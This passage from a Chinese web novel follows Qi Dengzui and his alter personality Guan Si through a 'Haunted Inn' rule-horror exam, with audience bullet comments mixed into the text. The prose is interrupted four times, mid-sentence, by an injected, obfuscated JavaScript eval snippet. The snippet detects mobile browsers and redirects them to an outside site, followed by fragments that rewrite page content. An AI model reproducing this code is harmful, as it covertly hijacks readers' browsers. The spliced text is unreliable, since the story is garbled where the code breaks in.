次日一早,戚灯醉切了过来,总算缓解了官肆的尴尬。 他换上一身简单的黑色西装,高挺的鼻梁上架着一副金框眼镜,满是斯文败类之感。 一到灵异学院的酒吧,周围的小gay就开始对着他吹口哨,一边抛媚眼,一边高声喊道:“哟!帅哥,约不约啊?” 官肆透过戚灯醉的眼睛,看着这副画面,气得头上的茎都硬了几分:“戚哥,他们怎么这么放荡,满脑子只有那种事情,毫无礼义廉耻。” 戚灯醉踩着皮鞋从一群小0的身边路过,声音短促有力,又吸引来了一阵狂欢,以至于他没有发现,已经有人拍下他的照片发到了灵异学院的论坛里。 帖子刚发出去,就多了好几条回复。 〈帖:我靠,你们知道吗,e酒吧来了个帅哥,好A,有没有人约过?来分享一下啊[附图1][附图2][附图3]〉 〈!好帅好帅好帅好帅,看起来就很能干。〉 〈楼上你……好吧,其实我也觉得。〉 〈抱歉,误入0圈, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14961533|161064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但是确实有点好看。〉 〈行了,我宣布这就是我的新晋天菜,三分钟,我要这个男人的所有信息。〉 〈这不是那天地下馆擂台的那个帅哥吗?原来帅哥也是gay啊。〉 〈蹲蹲联系方式。〉 裴宿一看见戚灯醉就眼前一亮,“戚大美人,你今天这身挺帅啊,比贺逐有品位多了。” 贺逐在旁边一声不吭,向裴宿投来一个难以言喻的眼神。 一旁来倒酒的男服务员衣服领口大开,唇红齿白,眼神直勾勾地盯着他们三个人。 戚灯醉扫了一眼,说,“约在这个地方,是方便你等会办事?” 裴宿接过服务员手里递过来的酒,一饮而下,对戚灯醉说:“还是你懂我,不愧是一路人。” 戚灯醉并未涉猎过这方面的内容,也没明白裴宿的“一路人”,是指的他俩都是gay,还都是能让0腿软的1。 他道:“你们下场考试是什么?” 裴宿思忖道:“貌似是什么仓库,总之一听就很无聊的考试,应该不会有很多剧情,估计是游戏类考试。” 灵异学院的考试一般分为几个大类,比较常见的是剧情类考试和游戏类考试,《逃离疯人院》就是比较典型的剧情类考试,整场考试都围绕着剧情进行探索,如果运气好,触发特殊隐藏剧情,是可以极大地减轻考试难度的。 而游戏类考试一般都是偏逻辑性的技巧类探索,一般不会有减轻难度的特殊隐藏剧情,纯粹靠硬核推理和逻辑分析来破局。 贺逐侧眼看着裴宿,突然发出一声冷笑:“好巧,我也是仓库。” 裴宿勾着服务员的手,不甘示弱:“那就多谢贺兄继续照顾了,合作愉快。” 戚灯醉看着他俩针锋相对,道:“我是‘昼夜校园’,貌似是校园本,和你们不是一个考场,目前不清楚是剧情类考试还是游戏类考试。” 裴宿道:“校园本一般都是灵异题材,类型不确定,你可以等等月底的考题公布,就像疯人院考场一开始公布的那个考题一样,会提供不少信息,你可以根据信息,提前准备和训练。” “嗯。”戚灯醉站起来,“说完了?那我先走了。” 裴宿抬手:“诶!怎么这就走了?不留下来玩玩?” 他一把摁下要起身的贺逐,笑容不变:“贺兄别见外啊,也一起来,这里的人可会玩了,保证你们体验良好。” “不、不用了!” 官肆瞬间切了过来,他还没缓过来切换人格的后遗症,嘴已经自己开口了。 贺逐嘴角抽了抽,裴宿手上压着他肩膀的力道更大了。 官肆道:“戚哥还有事,我们先走了。” 裴宿招呼了一声:“小美人上号了?别走啊。” 官肆没理他,带着戚灯醉的身体落荒而逃,背影极其狼狈。 戚灯醉在意识海里轻笑了一声,问他:“这么害怕他们啊?” 官肆声音沉闷:“没有,我只是怕戚哥……” 酒吧里夹着各种嘲喳声,官肆这句话的尾音落在了嘈杂混乱的噪音中,戚灯醉并没有听清他说了什么。 - 月底,戚灯醉终于迎来了他的第二场考试——《昼夜校园》 12. 猛鬼客栈.1 在进入考试之前,戚灯醉已经拿到了考试的部分考题线索,知道这次的考试是游戏类的规则怪谈类型考试。 然而,当真的进入了一次月考时,戚灯醉发现虽然自己的考试依旧是游戏类规则怪谈,但自己的考场却不是昼夜校园。 【欢迎考生来到灵异学院,所有考生已到齐,本次参考人数:5人。】 【正在发布一次月考考试题目……】 戚灯醉眼前如烟雾缭绕般朦胧,笼罩着一层淡淡的黑色,他抬手,不出意外地摸到了一条遮在眼睛上的黑条。 这黑条似乎像是古代的“冰绡”,但却在系统的作用下带了点眼镜的功能,不得不说,系统确实是贴心。 【本次考试题目:猛鬼客栈。】 【本次考试材料:荒漠中的漫游者在客栈得已歇息片刻,可门外不断传来的挠门声、恐怖的嘶吼声都在预示着这是一家猛鬼客栈,无从支援的他们,是死亡还是涅槃?】 考题换了? 似乎是察觉到了戚灯醉的疑惑,系统播报道: 【您好,考生戚灯醉/官肆,由于昼夜校园考场出现特殊情况,导致了考场摧毁,目前昼夜校园考场无法正常开启,现将您替换到同样类型的其他考试中。】 戚灯醉抬手系紧冰绡,一字一顿地问:“特殊情况?” 系统短暂地停了一下,说: 【目前暂时无法告知,望谅解。】 它接着道: 【请结合材料和本次考试中所探索到的线索,整理思路,完成以下考题:存活至最终。】 【考试题目发布完毕。】 【友情提醒:请各位考生诚信作答,切勿作弊!切勿作弊!切勿作弊!一旦违规,学院系统将会严厉处罚!】 一切重归于寂静。 眼前雾蒙蒙的一片骤然清晰起来,戚灯醉面前站了好几个人,他们如今身处荒漠中地一家客栈的大堂,身上的衣服皆是古时候的装扮,锦衣华服,五彩斑斓。 似乎是为了好区分,每个人的衣服颜色都不一样,意识海里的官肆颜色未知,除此以外,戚灯醉是黑衣,其余三人分别是金衣、紫衣和青衣。 几人看着对方的装扮,面面相觑。 紧接着,另一个机械音又响了起来。 【考生已到齐,请领取考生证。】 和新生考试一样,考生证上只是介绍了基本的考生信息,唯一不同的是多了一个考生战队的补充。 光屏上,考生战队栏里清晰地记录着:您的战队——裴宿的战队。 戚灯醉:“…………” 这名字倒是简单粗暴。 等所有考生领取完考生证后,系统再次开口。 【考生证已领取,考生正式入场,考试已开始,请各位考生前往各自初始地。】 【请考生在客栈中选择自己的房间,点亮灯后上床睡觉,倒计时五分钟,违规者取消考试资格永久抹杀。】 “抹杀?” 紫衣女打了个寒颤,看着周围的人都在观望,谁也没有动作,心里急得直想跺脚,她声音弱弱地问,“你、你们不走吗?只有五分钟时间。” 她开了个头,终于有人动了,其他人也连忙走出了大堂,选择自己的房间。 如今所有人都是一头雾水,游戏规则还未发布,他们只能被动地根据系统广播行动。 或许是为了增加恐怖氛围,这里的地板都是木质的,走起来的脚步声异常响亮,偏偏走廊里又空旷,脚步声便显得飘渺寂寥,更使人脊骨一寒。 如今不知道规则,也无法根据规则选择更好的房间地势,戚灯醉便随意选择了一个房间躺下来。 他仰躺在床上,刹那间只觉眼前一黑,整个人天旋地转,再反应过来时,自己已经飘在了空中。 “人魂分离?”他看着床上躺着的自己思忖道。 此时离倒计时还有两分钟,戚灯醉飘离了自己的房间,打算进入其他人的房间看看,但似乎是游戏规则限制,他的魂魄进不去其他人的房间,只能作罢,转而飘向了所有人最初聚集的客栈大堂。 其他人的魂魄也同样飘在空中,聚在了大堂,因为不习惯神魂状态而手舞足蹈。 这样的场面本身看来很滑稽,但此时所有人都面色凝重,心随着时间的流逝不断下坠,恐惧的氛围迅速扩散开来。 “戚哥!” 戚灯醉回神,看见他的身后慢悠悠飘来一位青年。 这青年一身白衣,气质温润,黑发高高扎起,如锦缎般垂在身后,增添了几分意气风发之感,远看好似一位渊清玉絜的翩翩公子,可仔细一看,他的神魂比其他任何一个考生都要清晰,不容小觑。 官肆飘到戚灯醉身边,说:“戚哥,你认得出我吗?” 戚灯醉看着眼前的面色苍白的青年,略一挑眉,“和某个白球一模一样,想认不出都难。” “叮叮——”,倒计时清零。 【现在请各位考生认真阅读以下公告!】 大堂中央漂浮着一张皮革,上面用黑墨书写着此次的游戏公告。 【猛鬼客栈公告: 1.任何时候,都不要给怨鬼开门,无论发生什么事,千万不能下床。ps:即使鬼破门而入也不行呢! 2.如果有人在破坏门,你可以想办法加固门,抵挡破坏。ps:也可能是鬼在挠门哦! 3.如果有怨鬼破门而入,请立刻熄灭房间里的灯,保持安静。ps:不守规矩的人会被鬼杀死哦! 4.如果你发现有其他人的灯熄灭了,请不要去查看他的房间,也不要使用他房间里的任何东西。ps:拿别人的遗物来壮大自己会沾染上晦气喔! 5.客栈里有一个店铺,如果你进入了,请马上离开,不要购买任何道具,如果你购买了道具,我们将无法继续向你提供任何保护措施。ps:你猜猜道具是人用的还是鬼用的呀? “猛鬼宿舍?”青衣男在浏览完公告后道。 四人齐齐看向他,他莞尔一笑,缓解了几分紧张,“我以前看室友玩过一个塔防游戏,叫猛鬼宿舍,也是这种玩法,和公告内容几乎一模一样。” 戚灯醉道:“你玩过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14961534|161064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这个游戏?” 青衣男点了点头,说:“我只玩过一把,而且开局就死了,后来就没玩了。” 金衣男皱眉道:“开局就死了?这么菜?算了,你讲讲你那一把的游戏历程。” 青衣男点了点头,回忆着当时的场景:“游戏开始有三十秒倒计时,所有人找房间躺上床,然后自己就会涨金币,金币可以拿来升级床和门,二十秒后,猎梦者……也就是鬼会来,他们就在门外破坏门。” 他说:“鬼开局就来找我,我不是很会玩,门被破坏后,鬼进来了,我想下床逃走,但是身体根本动不了,只能眼睁睁地看着自己被鬼杀死,游戏就结束了。” “没了?”金衣男看着他,似乎有点不相信,“就这么点?” 青衣男点头道:“对。” 戚灯醉若有所思。 紫衣女颤颤巍巍地开口道:“这么说来,只要鬼进了房间,我们就必死?” 她抓着青衣男的手攥得更紧了,几乎是失魂落魄低泣道:“我不想死、我不想死。” 青衣男似乎是她的男朋友,他拍拍她的背,却也说不出任何安慰的话。 他们都是普通人,想要在这里活下去,仿若蜉蝣撼树,无异于是登天之难。 〈这个女的在干嘛啊?搞得好像第一次进考场一样。〉 〈前面的考试混过来的混子呗。〉 〈前面嘴巴放干净点OK?〉 〈吵什么架啊,欣赏帅哥不行吗?没想到戚神和官肆这么帅啊,我还以为会是一个肌肉猛男和一个瘦弱白斩鸡呢。〉 〈这年头连副人格都能有皮肤了,系统也太人性化了吧。〉 观演网站里激烈地讨论着,大堂内也响起了催促的广播。 【游戏即将开始,请各位考生不要四处逗留,回到房间准备,每隔半小时游戏将会暂停,所有考生可前往大堂交换信息,暂停时间为十分钟。】 话落,所有人默不作声回到了自己的房间。 戚灯醉和官肆的房间里大堂最远,便是最后一个进房间的。 这里的门是推拉式的,门是往房间内部拉的。 不过…… 戚灯醉正身,透过眼上的黑纱看着房间下方的身体,眸中满是思索。 官肆和他只有一具身体,却有两个魂魄在天上,岂不是自带一个人形挂? 上场考试,因为官肆的出现,导致考生三缺一,反而加大了难度,这场考试,官肆反而阴差阳错地成为了一个外挂。 难不成是系统要补偿他? 官肆走近戚灯醉身边,看着他眼睛上并不透明的黑布条,伸出手在戚灯醉面前晃了晃,道:“戚哥,你能看见我?” 戚灯醉道:“嗯,副本特殊效果。” 游戏类副本一般都会有游戏面板,戚灯醉点开面板,发现右上角写着: 修为:0% 生命:100% 这会儿还没有任何动静,戚灯醉不由得想到公告里的内容。 客栈有店铺,却不允许考生进入店铺购买道具,究竟是为什么? 13. 猛鬼客栈.2 广播声传遍整个客栈。 【游戏开始!】 【倒计时三十秒。】 这声落下后,戚灯醉注意到自己的修为在缓缓增加。 【倒计时五秒。】 【倒计时三秒。】 【倒计时一秒。】 一声狂暴的嘶吼声在暗夜中阴沉沉地嚎叫起来。 【怨鬼已进入客栈!】 嗒——嗒嗒—— 长廊传来了怨鬼的脚步声。 倏然,脚步声停了下来,随之而来的是紫衣女的尖叫声。 紫衣女孟舒死死地盯着眼前的怪物,飘在空中的灵魂都颤抖了一瞬。 眼前的怨鬼齐齐整整地穿着西装,身材纤瘦,但那脖颈上长着的,却是一个比肩还宽的圆形骨头,整个骨头上只有两个眼睛洞,洞里流下一行猩红的血液,而它的手是锋利的刃爪,浑身上下都充斥着诡秘。 怨鬼的爪子一下一下地挠着门,每挠一下,门就破损得更加严重,照这么下去,过不了多久门就得破。 孟舒只觉浑身发凉,嘴唇不停地抖着。 门旁边有一个圆形物体,旁边写着“修补阵”,使用修为即可开启。 顾不得什么,孟舒连忙将本就不多的修为全部作用到了圆形物体上。 似乎有了作用,虽然挠门声依旧存在,但门却没有再出现裂痕。 修补阵真的有用! 危机暂时解除,孟舒心怀侥幸地呼出一口气。 如果她一直使用修为开启修补阵,怨鬼岂不是永远也破不了门? 会有那么简单么? 还是说有其他…… 仿佛是为了印证孟舒的猜想,下一秒,一道古老而沙哑的声音响起。 【这是一间猛鬼客栈,相传,客栈时而消失,时而出现,没有人知道它开启的时间和地点,但每一个来到这里的人,都再也没有离开过。】 【后来,江湖之间流传着一择关于猛鬼客栈的规则,至于真假,早已不为人知。】 【规则1:任何时候,都不要给怨鬼开门。】 【规则2:房间里有一个修补阵,你可以使用修补阵修复破损的门。】 【规则3:客栈里有一个说谎者,请不要相信它的任何言论,如果你已经知道说谎者的身份,请不要让它察觉到你已经识破它的身份。】 【规则4:客栈里有一家店铺,店铺可以为你提供一定的帮助。如果你遭遇危险,请立即前往店铺。】 【规则5:每隔一段时间,怨鬼就会增强,怨鬼可能会离开,但请不要掉以轻心。】 【规则6……请不要……】 一阵嗡鸣滋滋地刺穿耳膜,噪音消失后,规则播报的声音也消失了。 ——还有规则没有说完。 这个认知让孟舒头皮发麻,她清晰地感受到门破损的速度刹那间快了好几倍。 卡嚓卡嚓的声音源源不断,孟舒心中慌乱如麻。 在门的破损程度到达四分之三时,修补阵冷却结束,她终于如释重负地再次开启了修补阵—— 【怨鬼逃跑了。】 孟舒精神一振。 在她摁下维修按钮的前一刻,怨鬼竟然离开了! “走、走了吗?” 孟舒咽了一下口水。 又等了片刻,她才心有余悸地长长呼出一口气。 怨鬼会增强,也会离开,这个规则是对的! - 戚灯醉飘到自己的身体旁,意念一动,神魂瞬间回到了身体,等他站起来后再次躺下去,一阵眩晕后,神魂又飘离开来。 看来,只要想,他可以随时回到身体里,说到底,到底是人身状态还是神魂状态,是可以自己选择的。 “官肆。”戚灯醉扫了一眼门。 “嗯?”官肆悠然地飘过来,“怎么了,戚哥?” 戚灯醉略一抬眸,“你能去得了其他人的房间么?” 规则里提到不能去其他人的房间,可最初戚灯醉试了,发现并不是不能去,而是他们的神魂根本就去不了。 这场考试里,他有身体,也有神魂,但官肆不一样,官肆只有神魂,或许,官肆可以不受规则的束缚。 官肆道:“戚哥你等等,我去试试。” 他飘到其他人的房门前,随便一扭,整个人轻轻松松就穿进去了。 〈woc,有挂,举报了。〉 〈这岂不是随便走?这个副本轻轻松松啊。〉 官肆重新离开了其他人的房间,发现自己的神魂淡了一分。 看来,虽然他不受规则的束缚,却也不能一直这样随意走动,破坏规则,会消耗他的神魂。 他回到戚灯醉的房间,说:“戚哥,我可以去其他房间,但是次数有限。” “嗒——嗒嗒——” 门外,怨鬼的脚步声倏然响起。 “怨鬼来了。”戚灯醉的眼神骤然暗了下来,嗓音低沉。 “规则里说怨鬼会不断增强,我们有两个人,应该不至于在前期就被怨鬼破门弄死,但是如果不找到怨鬼的弱点,随着他不断地增强,到后期,我们是抵挡不住的。” 黑西装怨鬼继续挠着门。 戚灯醉和官肆一起用修补阵护着门,房间里一片寂静,怨鬼的挠门声仿佛海水一般淹没了整个房间。 “嗒——” “嗒嗒——” 戚灯醉凝神听着门外的声音。 半晌后,他突然道:“声音不对劲,合不上。” “有两道声音,一道缓慢,一道急促。” 官肆凑到门前,透过小小的猫眼,与黑西服怨鬼一双流着鲜血的黑洞对视。 黑西服怨鬼的长相真的很掉san。 官肆沉吟几秒,说:“门外只有一个鬼。” “我不会听错。” 话音落下来,房间内回归寂静,只留下黑西服怨鬼的声音,戚灯醉集中注意力再次听了一段时间的挠门声,肯定道: “一定还有一个鬼,只是我们看不见。先不管,后面集中讨论的时候看看其他人那边什么情况,比起这个,我很想知道另一件事。” 怨鬼会变强,证明他们这些考生在发育的同时,怨鬼同样也是能发育的。 但是…… “怨鬼的升级机制究竟是什么?”他看着门外的怨鬼攻击力在逐渐增强,心中疑惑更甚。 杀人数?不,紫衣女还没死,怨鬼却在不断变强,证明杀人数跟怨鬼升级没关系。 难道只是单纯的时间么? 【怨鬼逃跑了。】 当听到这个播报时,戚灯醉眼神一暗,他玩味地品了品这场考试的公告和规则,不由得对这场考试的兴趣更深了几分。 怨鬼第一个攻击的是紫衣女孟舒,为了抵挡怨鬼的攻势, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14961535|161064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 孟舒势必会把修为全部拿来修门上,自然没有足够的时间来发育,更不可能把怨鬼打跑。 那就只有一个可能,怨鬼其实是自己离开的,并非逃跑。 可怨鬼,为什么要跑? 他真是越来越好奇这场考试的内容了。 …… 半个小时的时间很快就到了,大堂内陆陆续续飘来了几人的神魂。 孟舒吓得思绪都有些混乱了,哆哆嗦嗦半天都没把事情讲明白,最后说:“那个规则是对的,我、我只抵挡了一会儿,怨鬼就跑了,我们应该要遵守那个规则。” 戚灯醉说:“可公告和规则是矛盾的。” 他沉声道:“公告里说,客栈里有一个店铺,进入需要马上离开,不能购买任何道具。可规则里却说,店铺可以提供帮助,遇到了危险,要立刻前往店铺。” “这两者完全矛盾。” “会不会,公告是假的?”一直沉默的青衣男开口道。 几人看了他一眼,他解释道:“我叫季弥,这是我女朋友,孟舒。” 孟舒闻言,扯了扯嘴角,露出一个勉强的笑容,不知是不是被吓到了,还心有余悸。 他们俩是情侣,但两人却好像关系很生疏,实在是有些奇怪。 季弥说:“我相信小舒不会说谎。” 官肆摇摇头,说:“不见得每条公告都是假的,也不见得每条规则都是真的,至少公告第二条所说的门被破坏可以使用修补阵修复,是没问题的。” “照这样来看,我们还得一条一条测试规则的正确性。”季弥道,“那条矛盾的客栈规则该呢?谁去测试?” 金衣男眼神一凛,立刻道:“我不去!” 他扫了一眼身边的人,说:“这条规则谁知道是不是对的,如果错了,岂不是白白送命?你们要去自己去,我不去。” 孟舒喏喏地道:“可是没人去,规则始终不知道真假。” 金衣男冷眼看着她,露出一股恶劣的笑容:“那要不然你去?哦,忘记了,你还有男朋友呢,要不然让你男朋友替你去,你们不是情侣么?难道不该为对方考虑?不会是要大难临头各自飞吧?” “你这人怎么这样!”孟舒愤愤道,“我们这是规则怪谈类考试,如果不合作,是很容易全军覆没的!” 金衣男冷笑了一声,说:“我怎么知道你们会不会坑我,拿我的命去测规则?更何况,就你这种只会哭哭啼啼的废物,我有什么和你合作的必要?” 孟舒:“我……” “行了。”戚灯醉看着金衣男,淡淡道,“你不想去没人逼你。” “规则我会想办法探,只是最后的结果,我也不会告诉你,请自便。” 〈这个金衣男好像和我去过同一场考试,是个独行侠,不过确实有点实力。〉 〈有点实力?我以为是NO.1呢,这么狂?呸!〉 〈前面的人不会是酸了吧,楚阳确实脾气差人品差,但人家说的也是事实,这是规则怪谈,谁知道会不会有人身怀异心,坑骗其他人?更何况,规则里都说了,客栈里有一个说谎者,谁知道说谎者会不会利用规则杀人?〉 〈你们戚灯醉唯粉和楚阳唯粉能不能出去吵?真毁心情。〉 弹幕还没吵完,自由讨论时间已经结束了,讨论时间很短,信息交换的效率并不高。 【十分钟暂停时间已结束,游戏继续!】 14. 猛鬼客栈.3 各自回到房间后,戚灯醉道:“官肆,你去店铺看看。” 官肆是这场考试里唯一脱离规则的人,是最好的规则试探者。 官肆自然明白这个道理,可他还是打趣道:“戚哥,你不怕我出事啊?” 面前的青年眨了眨眼睛,清冷的面容上化开了一道笑容,额头软软地垂着一撮毛,戚灯醉仿佛都看见了意识海里的那只白团子,他有些失笑,“你是我的副人格,我相信你的能力。” “戚哥。”官肆心中一动,“我一定完美完成任务!” 戚灯醉实在是被他的神情弄笑了,眉梢一挑,摆了摆手说:“好了,去吧,别坚定得跟要入党一样。” 官肆呆滞了一瞬。 他的戚哥居然也会开这种玩笑了。 很久以前,官肆就希望戚灯醉能认可他、欣赏他、赞扬他,他一直追寻着戚灯醉的脚步,渴望戚灯醉回头看看他。 他很想说。 他不弱。 真的,他一点都不弱,即使差了一点,他也一定能补上。 压下心底的想法,官肆如往常一般笑道:“戚哥,我去了。” “嗯。”戚灯醉说,“早去早回。” 他的声音很平淡,仿佛官肆就是去买个东西,完全没有在考试里的那种紧张感。 官肆朝着店铺飘着,路过楚阳的房间时,他发现楚阳的门在被挠,可他仔细观察,却没有看见任何鬼。 〈真的有隐形的鬼!!〉 〈官肆小哥哥出来真的没事吗?鬼为什么不打他?〉 〈可能这个隐形鬼也看不见考生?〉 〈这算什么?跨次元?〉 官肆留了个心思,接着往店铺飞。 他进了店铺,果然没有任何阻碍,店铺里并没有人,上面摆放着各种东西,皆是用修为明码标价的,其中有各种抵挡怨鬼的道具,比如缚鬼网、防御阵等等。 简单打量了一圈,官肆回了房间,说,“店铺可以进去,确实有道具,没有鬼,和规则五是契合的。难道规则真的是对的?那公告的事怎么解释?” 戚灯醉说:“你路上看见什么特殊的事情没有?” 官肆点头,指着楚阳的房间,说:“他好像被怨鬼攻击了,但我没看见鬼。” 戚灯醉道:“果然如此,这个考场里不只一个鬼,至少有一只攻击我和孟舒的黑西服怨鬼,一只隐形鬼,如果运气不好,说不定还会有第三只、第四只,无数只鬼。” 〈看都看不见,这怎么打,好难啊感觉。〉 〈那个店铺不是有道具吗?可以去买道具对付鬼啊。〉 戚灯醉说:“我们换条思路,你觉得说谎者是谁?” 官肆回忆了一下进副本以来其他三个人的行为,说:“暂时猜不出来,孟舒是第一个撞鬼的,她胆子很小,如果是说谎者伪装的,也确实不好猜。” “季弥是孟舒的男朋友,如果他俩可以互相作证,可信度确实高一点,这样一来,楚阳反而成为了嫌疑最大的人。但我反而觉得,楚阳不像说谎者,他的行为太浅显了,也太引人注目了,如果他是说谎者,未免有些突出了。” 戚灯醉说:“我们至今都不知道说谎者说谎的内容和目的到底是什么,甚至,规则里并没有说说谎者是人,说谎者可能是任何东西,鬼、公告书写者、规则公布者……范围很大,如果系统够阴,这场考试能操作的地方很多,能玩的文字游戏也很多。” “戚哥,鬼来了。” 门外,黑西装怨鬼再次开始挠门。 官肆轻声道:“戚哥,他……好像没有脚步声,他这个形态,有点熟悉,好像……” “神魂。”戚灯醉说,“他像是神魂。” 官肆恍然大悟,“最初他来的时候有脚步声,这次却没有了。” 戚灯醉点点头,“所以,最初来我和孟舒房门外面的,除了他,还有其他鬼,他们在一起攻击我们。” “而这次,只有他一只鬼。” 戚灯醉道:“进考场时,系统告诉我,昼夜校园考场被意外摧毁,导致我无法去那个考场考试,所以系统把我换到了和昼夜校园类似的考场,按照这个思路,猛鬼客栈,很可能和昼夜校园机制类似。” 在一次月考前,系统曾公布过《昼夜校园》的考试材料: 【昼夜校园严格遵循昼夜两套规定,白天,学生需要绝对服从老师的命令,夜晚,学生将会成为这所校园的主宰者,然而突然有一天,昼夜校园,时间失序了。】 会不会,猛鬼客栈考场,也有类似昼夜更替,规则变化的时间交换机制? 〈这个考场好像还是第一次开启,如果真的是和昼夜校园一样的机制,倒是挺有趣的,我记得昼夜校园那个考场,好像有100个考生,一到白天简直是大混战,老师和学生、学生和学生打成一团,特别搞笑。〉 〈昼夜校园还是有点区别的,感觉比起规则类怪谈考试,昼夜校园更像是大逃杀机制的考试,100个人在校园里互相杀戮,角逐出胜者。〉 〈挺惨烈的,那个考场100个人最后只活了好像7个人吧,主要是昼夜更替,白天还没摸清楚规则,晚上就来了,很难生存。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14961536|161064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 〉 〈那场考试还蛮精彩的,我记得谢君和莲灼也在那个考场吧?谢君还是那个考场成绩最高的人呢。〉 〈对,谢君在那个考场表现得太好了,他还没出考场,学院论坛上已经有人给他专门开了个帖子和超话,实时关注,隔壁还有人开赌注呢。〉 戚灯醉道,“等这次时间暂停后,我们交换完线索,可以去摸索一下怨鬼的特征,可以看看哪些规则有用。” 于此同时,孟舒那边再次传来了叫声。 怨鬼回来了! 孟舒死死抵住门,可怨鬼的攻击越发强大,她将全部修为都作用到了修补阵上,修为瞬间从100%降到了0%,缓缓地恢复着。 然而,这次修补阵却一点用都没有,门依旧在破损着,木屑四处乱飞。 孟舒透过缝隙,看见门外出现了一个和黑西装怨鬼完全不一样的鬼怪。 “为什么会这样……” 〈卧槽,难道还有第三只鬼?〉 〈不是吧,这只鬼啥时候出现的。〉 孟舒心跳到了嗓子眼,手脚不自觉地开始发抖,整个人都开始眩晕了。 “救救我……我不想死……” 她喃喃着,下一秒,鬼破门而入。 “啊——” 一声惨叫响彻了整个客栈。 “孟舒出事了!”戚灯醉说,“走,去看看。” 几人陆陆续续飘到孟舒的房间,却没有看见任何人,鬼、人,什么都没有,仿佛一切都不存在。 〈?他们怎么好像看不见〉 〈确实,可是孟舒不就在这里吗,我靠好细思极恐。〉 〈有点害怕,救命。〉 〈不会真有次元壁吧,他们这个反应真的有点恐怖了。〉 〈呕,我要吐了,孟舒这个死状太恶心了,我不行了,先退出了。〉 戚灯醉打量了一圈孟舒的房间,突然听到一丝细微的脚步声。 他打了个手势,意思是:有鬼。 官肆领会了他的意思,孟舒确实出事了,但不是在这个地方,或者说,不是在这个次元。 她在另一个地方,他们看不见的地方。 “小舒!” “你在哪?小舒?” 季弥呼喊着,却没有任何人回应他。 楚阳冷冷观望着,说:“看见了吧,鬼杀人很简单,规则很难束缚他们,随便触犯规则只会死得更惨,蠢货。” 戚灯醉蹙眉道:“闭嘴,先看看情况。” “看情况?”楚阳道,“怎么,你想去陪她?” 15. 猛鬼客栈.4 戚灯醉微抬眼神:“放心,就算我会死,你也一定会死在我的前面。” 他对这样喜欢废话的人向来不会留情。 楚阳讥笑了一声,说:“别生气啊,我只是不想死而已,我相信你们也一样,灵异学院不需要废物,现在拖油瓶死了,不是正好吗?” 这句话不知道哪个字戳中了官肆的雷点,官肆的目光锁在他的身上,冷得带着冰渣子:“不会说话就闭嘴,离我戚哥远点。” 戚灯醉神情愕然,实在是没搞懂官肆为什么突然生气,他顿了一下,碰了碰官肆的神魂,说:“先回去,孟舒还不知道是什么情况,公告里说了不要随便查看别人的房间,她的房间现在很危险。” “嗯。”官肆垂着眼,声音闷沉。 直到现在,整个副本还是很无厘头,戚灯醉回了房间,对官肆道:“既然是考试,时间绝不会很长,考试节奏会非常快,照孟舒出事的速度,如果不赶紧找到破解方法,撑不到两次休息时间,我们就会全军覆没。” 从上一个新生考试里,戚灯醉就发现了,灵异学院的每一场考试进度都拉得非常快,一旦慢了,系统甚至还会主动跳过不必要的时间节点来缩短考试时间。 上场考试还是新生考试,尚且不过一天就结束了,这次是一次月考,速度一定不会慢到哪去。 戚灯醉留意到这次考试的考题是: 【存活至最终。】 这个“最终”,究竟怎么定义呢? 如果他们无法对抗怨鬼,无法消灭怨鬼,怎么可能活到最终呢? 隔壁季弥的房间传来挠门声,在此之前,季弥是整个考场里唯一一个没遇见鬼的,门的破损程度最低。 戚灯醉皱眉道:“我回身体里去看看。”他声音还未落下,人已经回到了身体里。 房间里陷入了沉默。 随后,戚灯醉迟疑片刻,出声道:“官肆,我看不见你。” 官肆的声音从刚刚神魂飘荡的方向传来:“什么,你看不见我吗?那我的声音呢,戚哥,你能听见吗?” 戚灯醉道:“能听见。” 他没动身体,静静地躺在床上。 少顷,戚灯醉突然冒出一个想法,“官肆,你能看见我?” “对。” “我有个想法,但是需要验证。” 官肆迅速就明白了他的意思,“戚哥,触犯规则可能会死,不如让我进你身体,我来试探规则。” 